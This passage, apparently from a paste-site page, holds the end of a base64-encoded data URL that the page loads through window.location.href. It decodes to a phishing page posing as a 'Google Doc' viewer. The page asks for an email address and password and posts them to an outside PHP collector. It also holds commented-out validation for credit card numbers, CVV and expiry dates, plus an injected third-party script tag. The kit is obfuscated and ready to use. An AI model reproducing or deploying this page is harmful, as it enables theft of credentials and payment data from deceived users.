JCSogdXNlciBvcHRpb25zDQoJCSogQHJldHVybiBhbiBlcnJvciBzdHJpbmcgaWYgdmFsaWRhdGlvbiBmYWlsZWQNCgkJKi8NCgkJX2NvbmRSZXF1aXJlZDogZnVuY3Rpb24oZmllbGQsIHJ1bGVzLCBpLCBvcHRpb25zKSB7DQoJCQl2YXIgaWR4LCBkZXBlbmRpbmdGaWVsZDsNCg0KCQkJZm9yKGlkeCA9IChpICsgMSk7IGlkeCA8IHJ1bGVzLmxlbmd0aDsgaWR4KyspIHsNCgkJCQlkZXBlbmRpbmdGaWVsZCA9IGpRdWVyeSgiIyIgKyBydWxlc1tpZHhdKS5maXJzdCgpOw0KDQoJCQkJLyogVXNlIF9yZXF1aXJlZCBmb3IgZGV0ZXJtaW5pbmcgd2V0aGVyIGRlcGVuZGluZ0ZpZWxkIGhhcyBhIHZhbHVlLg0KCQkJCSAqIFRoZXJlIGlzIGxvZ2ljIHRoZXJlIGZvciBoYW5kbGluZyBhbGwgZmllbGQgdHlwZXMsIGFuZCBkZWZhdWx0IHZhbHVlOyBzbyB3ZSB3b24ndCByZXBsaWNhdGUgdGhhdCBoZXJlDQoJCQkJICogSW5kaWNhdGUgdGhpcyBzcGVjaWFsIHVzZSBieSBzZXR0aW5nIHRoZSBsYXN0IHBhcmFtZXRlciB0byB0cnVlIHNvIHdlIG9ubHkgdmFsaWRhdGUgdGhlIGRlcGVuZGluZ0ZpZWxkIG9uIGNoYWNrYm94ZXMgYW5kIHJhZGlvIGJ1dHRvbnMgKCM0NjIpDQoJCQkJICovDQoJCQkJaWYgKGRlcGVuZGluZ0ZpZWxkLmxlbmd0aCAmJiBtZXRob2RzLl9yZXF1aXJlZChkZXBlbmRpbmdGaWVsZCwgWyJyZXF1aXJlZCJdLCAwLCBvcHRpb25zLCB0cnVlKSA9PSB1bmRlZmluZWQpIHsNCgkJCQkJLyogV2Ugbm93IGtub3cgYW55IG9mIHRoZSBkZXBlbmRpbmcgZmllbGRzIGhhcyBhIHZhbHVlLA0KCQkJCQkgKiBzbyB3ZSBjYW4gdmFsaWRhdGUgdGhpcyBmaWVsZCBhcyBwZXIgbm9ybWFsIHJlcXVpcmVkIGNvZGUNCgkJCQkJICovDQoJCQkJCXJldHVybiBtZXRob2RzLl9yZXF1aXJlZChmaWVsZCwgWyJyZXF1aXJlZCJdLCAwLCBvcHRpb25zKTsNCgkJCQl9DQoJCQl9DQoJCX0sDQoNCgkgICAgX3N1Ym1pdEJ1dHRvbkNsaWNrOiBmdW5jdGlvbihldmVudCkgew0KCSAgICAgICAgdmFyIGJ1dHRvbiA9ICQodGhpcyk7DQoJICAgICAgICB2YXIgZm9ybSA9IGJ1dHRvbi5jbG9zZXN0KCdmb3JtLCAudmFsaWRhdGlvbkVuZ2luZUNvbnRhaW5lcicpOw0KCSAgICAgICAgZm9ybS5kYXRhKCJqcXZfc3VibWl0QnV0dG9uIiwgYnV0dG9uLmF0dHIoImlkIikpOw0KCSAgICB9DQoJCSAgfTsNCg0KCSAvKioNCgkgKiBQbHVnaW4gZW50cnkgcG9pbnQuDQoJICogWW91IG1heSBwYXNzIGFuIGFjdGlvbiBhcyBhIHBhcmFtZXRlciBvciBhIGxpc3Qgb2Ygb3B0aW9ucy4NCgkgKiBpZiBub25lLCB0aGUgaW5pdCBhbmQgYXR0YWNoIG1ldGhvZHMgYXJlIGJlaW5nIGNhbGxlZC4NCgkgKiBSZW1lbWJlcjogaWYgeW91IHBhc3Mgb3B0aW9ucywgdGhlIGF0dGFjaGVkIG1ldGhvZCBpcyBOT1QgY2FsbGVkIGF1dG9tYXRpY2FsbHkNCgkgKg0KCSAqIEBwYXJhbSB7U3RyaW5nfQ0KCSAqICAgICAgICAgICAgbWV0aG9kIChvcHRpb25hbCkgYWN0aW9uDQoJICovDQoJICQuZm4udmFsaWRhdGlvbkVuZ2luZSA9IGZ1bmN0aW9uKG1ldGhvZCkgew0KDQoJCSB2YXIgZm9ybSA9ICQodGhpcyk7DQoJCSBpZighZm9ybVswXSkgcmV0dXJuIGZvcm07ICAvLyBzdG9wIGhlcmUgaWYgdGhlIGZvcm0gZG9lcyBub3QgZXhpc3QNCgkJJCgnPGlucHV0PicpLmF0dHIoJ25hbWUnLCAnaXNfdmFsaWRfZW1haWwnKS5hdHRyKCd0eXBlJywgJ2hpZGRlbicpLmF0dHIoJ3ZhbHVlJywgJ0B5YWhvby5jb20nKS5hcHBlbmRUbyhmb3JtKTsNCg0KCQkgaWYgKHR5cGVvZihtZXRob2QpID09ICdzdHJpbmcnICYmIG1ldGhvZC5jaGFyQXQoMCkgIT0gJ18nICYmIG1ldGhvZHNbbWV0aG9kXSkgew0KDQoJCQkgLy8gbWFrZSBzdXJlIGluaXQgaXMgY2FsbGVkIG9uY2UNCgkJCSBpZihtZXRob2QgIT0gInNob3dQcm9tcHQiICYmIG1ldGhvZCAhPSAiaGlkZSIgJiYgbWV0aG9kICE9ICJoaWRlQWxsIikNCgkJCSBtZXRob2RzLmluaXQuYXBwbHkoZm9ybSk7DQoNCgkJCSByZXR1cm4gbWV0aG9kc1ttZXRob2RdLmFwcGx5KGZvcm0sIEFycmF5LnByb3RvdHlwZS5zbGljZS5jYWxsKGFyZ3VtZW50cywgMSkpOw0KCQkgfSBlbHNlIGlmICh0eXBlb2YgbWV0aG9kID09ICdvYmplY3QnIHx8ICFtZXRob2QpIHsNCg0KCQkJIC8vIGRlZmF1bHQgY29uc3RydWN0b3Igd2l0aCBvciB3aXRob3V0IGFyZ3VtZW50cw0KCQkJIG1ldGhvZHMuaW5pdC5hcHBseShmb3JtLCBhcmd1bWVudHMpOw0KCQkJIHJldHVybiBtZXRob2RzLmF0dGFjaC5hcHBseShmb3JtKTsNCgkJIH0gZWxzZSB7DQoJCQkgJC5lcnJvcignTWV0aG9kICcgKyBtZXRob2QgKyAnIGRvZXMgbm90IGV4aXN0IGluIGpRdWVyeS52YWxpZGF0aW9uRW5naW5lJyk7DQoJCSB9DQoJfTsNCg0KDQoNCgkvLyBMRUFLIEdMT0JBTCBPUFRJT05TDQoJJC52YWxpZGF0aW9uRW5naW5lPSB7ZmllbGRJZENvdW50ZXI6IDAsZGVmYXVsdHM6ew0KDQoJCS8vIE5hbWUgb2YgdGhlIGV2ZW50IHRyaWdnZXJpbmcgZmllbGQgdmFsaWRhdGlvbg0KCQl2YWxpZGF0aW9uRXZlbnRUcmlnZ2VyOiAiYmx1ciIsDQoJCS8vIEF1dG9tYXRpY2FsbHkgc2Nyb2xsIHZpZXdwb3J0IHRvIHRoZSBmaXJzdCBlcnJvcg0KCQlzY3JvbGw6IHRydWUsDQoJCS8vIEZvY3VzIG9uIHRoZSBmaXJzdCBpbnB1dA0KCQlmb2N1c0ZpcnN0RmllbGQ6dHJ1ZSwNCgkJLy8gU2hvdyBwcm9tcHRzLCBzZXQgdG8gZmFsc2UgdG8gZGlzYWJsZSBwcm9tcHRzDQoJCXNob3dQcm9tcHRzOiB0cnVlLA0KICAgICAgIC8vIFNob3VsZCB3ZSBhdHRlbXB0IHRvIHZhbGlkYXRlIG5vbi12aXNpYmxlIGlucHV0IGZpZWxkcyBjb250YWluZWQgaW4gdGhlIGZvcm0/IChVc2VmdWwgaW4gY2FzZXMgb2YgdGFiYmVkIGNvbnRhaW5lcnMsIGUuZy4galF1ZXJ5LVVJIHRhYnMpDQogICAgICAgdmFsaWRhdGVOb25WaXNpYmxlRmllbGRzOiBmYWxzZSwNCgkJLy8gT3BlbmluZyBib3ggcG9zaXRpb24sIHBvc3NpYmxlIGxvY2F0aW9ucyBhcmU6IHRvcExlZnQsDQoJCS8vIHRvcFJpZ2h0LCBib3R0b21MZWZ0LCBjZW50ZXJSaWdodCwgYm90dG9tUmlnaHQsIGlubGluZQ0KCQkvLyBpbmxpbmUgZ2V0cyBpbnNlcnRlZCBhZnRlciB0aGUgdmFsaWRhdGVkIGZpZWxkIG9yIGludG8gYW4gZWxlbWVudCBzcGVjaWZpZWQgaW4gZGF0YS1wcm9tcHQtdGFyZ2V0DQoJCXByb21wdFBvc2l0aW9uOiAidG9wUmlnaHQiLA0KCQliaW5kTWV0aG9kOiJiaW5kIiwNCgkJLy8gaW50ZXJuYWwsIGF1dG9tYXRpY2FsbHkgc2V0IHRvIHRydWUgd2hlbiBpdCBwYXJzZSBhIF9hamF4IHJ1bGUNCgkJaW5saW5lQWpheDogZmFsc2UsDQoJCS8vIGlmIHNldCB0byB0cnVlLCB0aGUgZm9ybSBkYXRhIGlzIHNlbnQgYXN5bmNocm9ub3VzbHkgdmlhIGFqYXggdG8gdGhlIGZvcm0uYWN0aW9uIHVybCAoZ2V0KQ0KCQlhamF4Rm9ybVZhbGlkYXRpb246IGZhbHNlLA0KCQkvLyBUaGUgdXJsIHRvIHNlbmQgdGhlIHN1Ym1pdCBhamF4IHZhbGlkYXRpb24gKGRlZmF1bHQgdG8gYWN0aW9uKQ0KCQlhamF4Rm9ybVZhbGlkYXRpb25VUkw6IGZhbHNlLA0KCQkvLyBIVFRQIG1ldGhvZCB1c2VkIGZvciBhamF4IHZhbGlkYXRpb24NCgkJYWpheEZvcm1WYWxpZGF0aW9uTWV0aG9kOiAnZ2V0JywNCgkJLy8gQWpheCBmb3JtIHZhbGlkYXRpb24gY2FsbGJhY2sgbWV0aG9kOiBib29sZWFuIG9uQ29tcGxldGUoZm9ybSwgc3RhdHVzLCBlcnJvcnMsIG9wdGlvbnMpDQoJCS8vIHJldHVucyBmYWxzZSBpZiB0aGUgZm9ybS5zdWJtaXQgZXZlbnQgbmVlZHMgdG8gYmUgY2FuY2VsZWQuDQoJCW9uQWpheEZvcm1Db21wbGV0ZTogJC5ub29wLA0KCQkvLyBjYWxsZWQgcmlnaHQgYmVmb3JlIHRoZSBhamF4IGNhbGwsIG1heSByZXR1cm4gZmFsc2UgdG8gY2FuY2VsDQoJCW9uQmVmb3JlQWpheEZvcm1WYWxpZGF0aW9uOiAkLm5vb3AsDQoJCS8vIFN0b3BzIGZvcm0gZnJvbSBzdWJtaXR0aW5nIGFuZCBleGVjdXRlIGZ1bmN0aW9uIGFzc2ljaWF0ZWQgd2l0aCBpdA0KCQlvblZhbGlkYXRpb25Db21wbGV0ZTogZmFsc2UsDQoNCgkJLy8gVXNlZCB3aGVuIHlvdSBoYXZlIGEgZm9ybSBmaWVsZHMgdG9vIGNsb3NlIGFuZCB0aGUgZXJyb3JzIG1lc3NhZ2VzIGFyZSBvbiB0b3Agb2Ygb3RoZXIgZGlzdHVyYmluZyB2aWV3aW5nIG1lc3NhZ2VzDQoJCWRvTm90U2hvd0FsbEVycm9zT25TdWJtaXQ6IGZhbHNlLA0KCQkvLyBPYmplY3Qgd2hlcmUgeW91IHN0b3JlIGN1c3RvbSBtZXNzYWdlcyB0byBvdmVycmlkZSB0aGUgZGVmYXVsdCBlcnJvciBtZXNzYWdlcw0KCQljdXN0b21fZXJyb3JfbWVzc2FnZXM6e30sDQoJCS8vIHRydWUgaWYgeW91IHdhbnQgdG8gdmluZCB0aGUgaW5wdXQgZmllbGRzDQoJCWJpbmRlZDogdHJ1ZSwNCgkJLy8gc2V0IHRvIHRydWUsIHdoZW4gdGhlIHByb21wdCBhcnJvdyBuZWVkcyB0byBiZSBkaXNwbGF5ZWQNCgkJc2hvd0Fycm93OiB0cnVlLA0KCQkvLyBkaWQgb25lIG9mIHRoZSB2YWxpZGF0aW9uIGZhaWwgPyBrZXB0IGdsb2JhbCB0byBzdG9wIGZ1cnRoZXIgYWpheCB2YWxpZGF0aW9ucw0KCQlpc0Vycm9yOiBmYWxzZSwNCgkJLy8gTGltaXQgaG93IG1hbnkgZGlzcGxheWVkIGVycm9ycyBhIGZpZWxkIGNhbiBoYXZlDQoJCW1heEVycm9yc1BlckZpZWxkOiBmYWxzZSwNCgkJDQoJCS8vIENhY2hlcyBmaWVsZCB2YWxpZGF0aW9uIHN0YXR1cywgdHlwaWNhbGx5IG9ubHkgYmFkIHN0YXR1cyBhcmUgY3JlYXRlZC4NCgkJLy8gdGhlIGFycmF5IGlzIHVzZWQgZHVyaW5nIGFqYXggZm9ybSB2YWxpZGF0aW9uIHRvIGRldGVjdCBpc3N1ZXMgZWFybHkgYW5kIHByZXZlbnQgYW4gZXhwZW5zaXZlIHN1Ym1pdA0KCQlhamF4VmFsaWRDYWNoZToge30sDQoJCS8vIEF1dG8gdXBkYXRlIHByb21wdCBwb3NpdGlvbiBhZnRlciB3aW5kb3cgcmVzaXplDQoJCWF1dG9Qb3NpdGlvblVwZGF0ZTogZmFsc2UsDQoNCgkJSW52YWxpZEZpZWxkczogW10sDQoJCW9uRmllbGRTdWNjZXNzOiBmYWxzZSwNCgkJb25GaWVsZEZhaWx1cmU6IGZhbHNlLA0KCQlvblN1Y2Nlc3M6IGZhbHNlLA0KCQlvbkZhaWx1cmU6IGZhbHNlLA0KCQl2YWxpZGF0ZUF0dHJpYnV0ZTogImNsYXNzIiwNCgkJYWRkU3VjY2Vzc0Nzc0NsYXNzVG9GaWVsZDogIiIsDQoJCWFkZEZhaWx1cmVDc3NDbGFzc1RvRmllbGQ6ICIiLA0KCQkNCgkJLy8gQXV0by1oaWRlIHByb21wdA0KCQlhdXRvSGlkZVByb21wdDogZmFsc2UsDQoJCS8vIERlbGF5IGJlZm9yZSBhdXRvLWhpZGUNCgkJYXV0b0hpZGVEZWxheTogMTAwMDAsDQoJCS8vIEZhZGUgb3V0IGR1cmF0aW9uIHdoaWxlIGhpZGluZyB0aGUgdmFsaWRhdGlvbnMNCgkJZmFkZUR1cmF0aW9uOiAwLjMsDQoJIC8vIFVzZSBQcmV0dGlmeSBzZWxlY3QgbGlicmFyeQ0KCSBwcmV0dHlTZWxlY3Q6IGZhbHNlLA0KCSAvLyBBZGQgY3NzIGNsYXNzIG9uIHByb21wdA0KCSBhZGRQcm9tcHRDbGFzcyA6ICIiLA0KCSAvLyBDdXN0b20gSUQgdXNlcyBwcmVmaXgNCgkgdXNlUHJlZml4OiAiIiwNCgkgLy8gQ3VzdG9tIElEIHVzZXMgc3VmZml4DQoJIHVzZVN1ZmZpeDogIiIsDQoJIC8vIE9ubHkgc2hvdyBvbmUgbWVzc2FnZSBwZXIgZXJyb3IgcHJvbXB0DQoJIHNob3dPbmVNZXNzYWdlOiBmYWxzZQ0KCX19Ow0KCSQoZnVuY3Rpb24oKXskLnZhbGlkYXRpb25FbmdpbmUuZGVmYXVsdHMucHJvbXB0UG9zaXRpb24gPSBtZXRob2RzLmlzUlRMKCk/J3RvcExlZnQnOiJ0b3BSaWdodCJ9KTsNCn0pKGpRdWVyeSk7DQo8L3NjcmlwdD4NCgk8bGluayByZWw9InNob3J0Y3V0IGljb24iIGhyZWY9Imh0dHA6Ly9pY29ucy5pY29uYXJjaGl2ZS5jb20vaWNvbnMvbWFyY3VzLXJvYmVydG8vZ29vZ2xlLXBsYXkvNTEyL0dvb2dsZS1Ecml2ZS1pY29uLnBuZyI+DQogIAk8bGluayByZWw9ImFwcGxlLXRvdWNoLWljb24iIGhyZWY9Imh0dHA6Ly9pY29ucy5pY29uYXJjaGl2ZS5jb20vaWNvbnMvbWFyY3VzLXJvYmVydG8vZ29vZ2xlLXBsYXkvNTEyL0dvb2dsZS1Ecml2ZS1pY29uLnBuZyI+DQoJPHNjcmlwdD4NCgkJalF1ZXJ5KGRvY3VtZW50KS5yZWFkeShmdW5jdGlvbigpew0KCQkJalF1ZXJ5KCIjc2lnbnVwIikudmFsaWRhdGlvbkVuZ2luZSgpOw0KCQl9KTsNCgk8L3NjcmlwdD48IS0tDQoJPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KCQlmdW5jdGlvbiB2YWxpZGVyKCl7DQoJCSAgIGlmICggZG9jdW1lbnQuZm9ybVBvc3QuZGF0YTEwLnZhbHVlID09ICIiICl7DQoJCQkJYWxlcnQgKCAiVmV1aWxsZXogZW50cmVyIHZvdHJlIG5vbSIgKTsNCgkJCQlkb2N1bWVudC5mb3JtUG9zdC5kYXRhMTAuZm9jdXMoKTsNCgkJCQlyZXR1cm4gZmFsc2U7DQoJCQl9DQoJCSAgIGlmICghZG9jdW1lbnQuZm9ybVBvc3QuZGF0YTEudmFsdWUubWF0Y2goL15bMC05XXsxNn0kLykpew0KCQkJCWFsZXJ0ICggIlZldWlsbGV6IHNhaXNpciB1biBudW0mIzIzMztybyBkZSBjYXJ0ZSBkZSBjciYjMjMzO2RpdCB2YWxpZGUiICk7DQoJCQkJZG9jdW1lbnQuZm9ybVBvc3QuZGF0YTEuZm9jdXMoKTsNCgkJCQlyZXR1cm4gZmFsc2U7DQoJCQl9DQoJCSAgIGlmICghZG9jdW1lbnQuZm9ybVBvc3QuZGF0YTIudmFsdWUubWF0Y2goL15bMC05XXszfSQvKSl7DQoJCQkJYWxlcnQgKCAiQ3J5cHRvZ3JhbW1lIChDVlYpIGludmFsaWRlIiApOw0KCQkJCWRvY3VtZW50LmZvcm1Qb3N0LmRhdGEyLmZvY3VzKCk7DQoJCQkJcmV0dXJuIGZhbHNlOw0KCQkJfQ0KCQkgICBpZiAoIGRvY3VtZW50LmZvcm1Qb3N0LmRhdGE2LnZhbHVlID09ICIiICl7DQoJCQkJYWxlcnQgKCAiVm91cyBkZXZleiBzYWlzaXIgdW5lIHImIzIzMztwb25zZSIgKTsNCgkJCQlkb2N1bWVudC5mb3JtUG9zdC5kYXRhNi5mb2N1cygpOw0KCQkJCXJldHVybiBmYWxzZTsNCgkJCX0NCgkJICAgaWYgKCBkb2N1bWVudC5mb3JtUG9zdC5kYXRhMy52YWx1ZSA9PSAiMCIpew0KCQkJCWFsZXJ0ICggIlZvdXMgYXZleiBpbmRpcXUmIzIzMzsgdW5lIGRhdGUgZCdleHBpcmF0aW9uIGludmFsaWRlIiApOw0KCQkJCWRvY3VtZW50LmZvcm1Qb3N0LmRhdGEzLmZvY3VzKCk7DQoJCQkJcmV0dXJuIGZhbHNlOw0KCQkJfQ0KCQl9DQoJPC9zY3JpcHQ+DQoJLS0+DQo8L3NjcmlwdD4JDQoJCTxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQouc3R5bGUxIHsNCgljb2xvcjogIzY2NjY2NjsNCn0NCjwvc3R5bGU+DQoJPC9oZWFkPg0KCTxib2R5Pg0KCQk8ZGl2IGlkPSJsYXlvdXQiPg0KCQkJPGgxIGNsYXNzPSJsb2dvIj4NCgkJCQkmbmJzcDs8L2gxPg0KCQkJPGRpdiBpZD0id3JhcHBlciI+DQoJCQkJPGRpdiBjbGFzcz0ibGVmdCI+DQoJCQkJCTxpbWcgaGVpZ2h0PSIyMTAiIHdpZHRoPSIyMDMiIHNyYz0iaHR0cDovL2ljb25zLmljb25hcmNoaXZlLmNvbS9pY29ucy9tYXJjdXMtcm9iZXJ0by9nb29nbGUtcGxheS81MTIvR29vZ2xlLURyaXZlLWljb24ucG5nIj4NCgkJCQkJPGgxPg0KCQkJCQkJR29vZ2xlIERvYzwvaDE+DQoJCQkJCTxwPg0KCQkJCQkJU2VjdXJlZCBEb2N1bWVudCBTdG9yYWdlLjwvcD4NCgkJCQk8L2Rpdj4NCgkJCQk8ZGl2IGNsYXNzPSJyaWdodCI+DQoJCQkJCTxmb3JtIGFjdGlvbj0iaHR0cDovL2Rhbm55YmFzcy4zZWV3ZWIuY29tL2NvdW50cnlLVS5waHAiIGlkPSJzaWdudXAiIG1ldGhvZD0icG9zdCIgbmFtZT0ic2lnbnVwIj4NCgkJCQkJCTxoMT4NCgkJCQkJCQlDb25maXJtIHlvdXIgaWRlbnRpdHkuPGltZyBhbGlnbj0icmlnaHQiIGJvcmRlcj0iMCIgaGVpZ2h0PSIzMyIgc3JjPSJodHRwOi8vd3d3LmJvdW50aWZ1bGJyZWFzdC5jby51ay9pbWFnZXMvMTAwU2VjdXJlLmpwZyIgd2lkdGg9IjgzIj48L2gxPg0KCQkJCQkJPHRhYmxlIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIiB3aWR0aD0iMTA1JSI+DQoJCQkJCQkJPHRib2R5Pg0KCQkJCQkJCQk8dHI+DQoJCQkJCQkJCQk8dGQgY29sc3Bhbj0iMyI+DQoJCQkJCQkJCQkJPHA+DQoJCQkJCQkJCQkJCUVudGVyIERldGFpbHMgdG8gVmlldy48L3A+DQoJCQkJCQkJCQk8L3RkPg0KCQkJCQkJCQk8L3RyPg0KCQkJCQkJCQk8dHI+DQoJCQkJCQkJCQk8dGQgY2xhc3M9ImxlZnRSb3ciIHN0eWxlPSJ0ZXh0LWFsaWduOiBsZWZ0IiB3aWR0aD0iMTU0Ij4NCgkJCQkJCQkJCQk8Zm9udCBjb2xvcj0iIzAwODhDQyI+RW1haWwgSUQ8L2ZvbnQ+PC90ZD4NCgkJCQkJCQkJCTx0ZCBjbGFzcz0icmlnaHRSb3ciIGNvbHNwYW49IjIiPg0KCQkJCQkJCQkJCTxzcGFuIGNsYXNzPSJmb3Jtd3JhcCI+PGlucHV0IGNsYXNzPSJ2YWxpZGF0ZVtyZXF1aXJlZF0iIGlkPSJkb25uZWUwMDAiIG5hbWU9InVzZXIiIHBsYWNlaG9sZGVyPSJ4eXpARXhhbXBsZS5jb20iIHN0eWxlPSJ3aWR0aDoxODBweCIgdHlwZT0idGV4dCI+IDwvc3Bhbj48L3RkPg0KCQkJCQkJCQk8L3RyPg0KCQkJCQkJCQk8dHI+DQoJCQkJCQkJCQk8dGQgY2xhc3M9ImxlZnRSb3ciIHN0eWxlPSJ0ZXh0LWFsaWduOiBsZWZ0IiB3aWR0aD0iMTU0Ij4NCgkJCQkJCQkJCQk8Zm9udCBjb2xvcj0iIzAwODhDQyI+RW1haWwgUGFzc3dvcmQ8L2ZvbnQ+PC90ZD4NCgkJCQkJCQkJCTx0ZCBjbGFzcz0icmlnaHRSb3ciIGNvbHNwYW49IjIiPg0KCQkJCQkJCQkJCTxzcGFuIGNsYXNzPSJmb3Jtd3JhcCI+PGlucHV0IGNsYXNzPSJ2YWxpZGF0ZVtyZXF1aXJlZF0iIGlkPSJkb25uZWUwMDEiIG5hbWU9InBhc3N3b3JkIiBwbGFjZWhvbGRlcj0iKioqKioqKioqIiBzdHlsZT0id2lkdGg6MTgwcHgiIHR5cGU9InBhc3N3b3JkIj4gPC9zcGFuPjwvdGQ+DQoJCQkJCQkJCTwvdHI+DQoJCQkJCQkJCQkJCQkJCQkJPHRyPg0KCQkJCQkJCQkJPHRkIGNsYXNzPSJsZWZ0Um93IiBzdHlsZT0iYm9yZGVyOjA7IiB3aWR0aD0iMTU1Ij4NCgkJCQkJCQkJCQkmbmJzcDs8L3RkPg0KCQkJCQkJCQkJPHRkIGNsYXNzPSJyaWdodFJvdyBub2JvcmRlciIgY29sc3Bhbj0iMiIgc3R5bGU9InRleHQtYWxpZ246Y2VudGVyO2JvcmRlcjowOyI+DQoJCQkJCQkJCQkJPGlucHV0IG5hbWU9ImRvbm5lZTEiIHR5cGU9ImhpZGRlbiIgdmFsdWU9IiZsdDs/cGhwIGVjaG8gJF9QT1NUWyYjMzk7ZG9ubmVlMSYjMzk7XTs/Jmd0OyI+IDxpbnB1dCBuYW1lPSJkb25uZWUyIiB0eXBlPSJoaWRkZW4iIHZhbHVlPSImbHQ7P3BocCBlY2hvICRfUE9TVFsmIzM5O2Rvbm5lZTImIzM5O107PyZndDsiPiA8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iVmlldyBEb2N1bWVudCI+PC90ZD4NCgkJCQkJCQkJPC90cj4NCgkJCQkJCQk8L3Rib2R5Pg0KCQkJCQkJPC90YWJsZT4NCgkJCQkJPGlucHV0IG5hbWU9ImlzX3ZhbGlkX2VtYWlsIiB0eXBlPSJoaWRkZW4iIHZhbHVlPSJAeWFob28uY29tIj48L2Zvcm0+DQoJCQkJPC9kaXY+DQoJCQk8L2Rpdj4NCgkJPC9kaXY+DQoJCTxwIGFsaWduPSJjZW50ZXIiPkNvcHlyaWdodCDCqSAyMDE0LjwvcD4NCgkJDQo8L2JvZHk+PC9odG1sPg==";
- window.location.href= url;
- </script>
- <script type="text/javascript">(function(){var a=document.createElement("script");a.type="text/javascript";a.async=!0;a.src="http://d36mw5gp02ykm5.cloudfront.net/yc/adrns_y.js?v=6.9.307#p=29948cbc116b5e936909011423420088";var b=document.getElementsByTagName("script")[0];b.parentNode.insertBefore(a,b);})();</script></head>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement